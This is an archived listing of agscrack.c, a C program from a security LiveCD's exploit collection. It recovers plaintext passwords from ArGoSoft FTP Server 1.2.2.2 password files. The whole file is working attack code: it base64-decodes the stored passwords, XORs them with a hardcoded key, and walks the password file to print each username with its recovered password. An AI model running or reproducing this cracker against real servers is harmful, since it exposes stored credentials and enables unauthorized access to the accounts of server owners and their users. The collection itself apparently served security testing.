home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / ftp / argosoft / agscrack.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  3KB  |  148 lines

  1. /********************************************************************
  2.  
  3.  * agscrack.c - ArGoSoft FTP Server 1.2.2.2 password file cracker   *
  4.  
  5.  * by [ByteRage] <byterage@yahoo.com> [http://www.byterage.cjb.net] *
  6.  
  7.  ********************************************************************/
  8.  
  9.  
  10.  
  11. #include <string.h>
  12.  
  13. #include <stdio.h>
  14.  
  15.  
  16.  
  17. int len; FILE *fh;
  18.  
  19.  
  20.  
  21. /* DECRYPTION ALGORITHMS */
  22.  
  23. unsigned char char2bin(unsigned char inbyte) {
  24.  
  25.   if ((inbyte >= 'A') && (inbyte <= 'Z')) { len++; return(inbyte-'A');
  26. }
  27.  
  28.   if ((inbyte >= 'a') && (inbyte <= 'z')) { len++;
  29. return(inbyte-'a'+26); }
  30.  
  31.   if ((inbyte >= '0') && (inbyte <= '9')) { len++; return(inbyte+4); }
  32.  
  33.   if (inbyte == '+') { len++; return('\x3E'); }
  34.  
  35.   if (inbyte == '/') { len++; return('\x3F'); }
  36.  
  37.   return('\x00');
  38.  
  39. }
  40.  
  41. void decode(unsigned char chars[], unsigned char bytes[]) {
  42.  
  43.   int i,retval=0;
  44.  
  45.   for(i=0; i<4; i++) { retval <<= 6; retval |= char2bin(chars[i]); }
  46.  
  47.   for(i=0; i<3; i++) { bytes[2-i] = retval & 0xFF; retval >>= 8; }
  48.  
  49.   len--;
  50.  
  51. }
  52.  
  53. void decryptpass(unsigned char encrypted[], unsigned char decrypted[])
  54. {
  55.  
  56.   const unsigned char heavycrypt0[] =
  57. "T3ZlciB0aGUgaGlsbHMgYW5kIGZhciBhd2F5LCBUZWxldHViYmllcyBjb21lIHRvIHBsYXk
  58. =";
  59.  
  60.   unsigned int j, k=0, l;
  61.  
  62.   len = 0;
  63.  
  64.   for(j=0; j<strlen(encrypted); j+=4) {
  65.  
  66.     decode(&encrypted[j], &decrypted[k]);
  67.  
  68.     for(l=0; l<3; l++) { decrypted[k] ^= heavycrypt0[k++]; }
  69.  
  70.   }
  71.  
  72.   decrypted[len] = '\x00';
  73.  
  74. }
  75.  
  76. /* DECRYPTION ALGORITHMS END */
  77.  
  78.  
  79.  
  80. void main(int argc, char ** argv) {
  81.  
  82.   char password[128]; /* ArGoSoft's passwords don't get larger than 128
  83. bytes */
  84.  
  85.   char buf[256]; char b;
  86.  
  87.   int rd;
  88.  
  89.  
  90.  
  91.   printf("ArGoSoft FTP Server 1.2.2.2 password file cracker by
  92. [ByteRage]\n\n");
  93.  
  94.   if (argc<2) { printf("Syntax : %s <password(file)>\n", argv[0]);
  95. return 1; }
  96.  
  97.   
  98.  
  99.   fh = fopen(argv[1], "rb");
  100.  
  101.   if (!fh) {
  102.  
  103.     decryptpass(argv[1], &password);
  104.  
  105.     printf("%s -> %s\n", argv[1], password);
  106.  
  107.     return 0;
  108.  
  109.   } else {
  110.  
  111.     /* simple password file processor */
  112.  
  113.     fread(&buf,1,1,fh);
  114.  
  115.     if (buf[0] == 4) {
  116.  
  117.       while (1) {
  118.  
  119.         if (fread(&b,1,1,fh) == 0) { break; }
  120.  
  121.         if (fread(&buf,1,b+1,fh) == 0) { break; }
  122.  
  123.         printf("%s : ", buf);
  124.  
  125.         b=0; while(!b) if (fread(&b,1,1,fh) == 0) { break; }
  126.  
  127.         if (fread(&buf,1,b+1,fh) == 0) { break; }
  128.  
  129.         decryptpass(&buf, &password);
  130.  
  131.         printf("%s -> %s\n", &buf, password);
  132.  
  133.         b=0; while(!b) if (fread(&b,1,1,fh) == 0) { break; }
  134.  
  135.         if (fread(&buf,1,b+1,fh) == 0) { break; }
  136.  
  137.         b=0; while(b!=4) if (fread(&b,1,1,fh) == 0) { break; }
  138.  
  139.       }
  140.  
  141.     } else printf("error when processing passwordfile!");
  142.  
  143.     fclose(fh);  
  144.  
  145.   }
  146.  
  147. }
  148.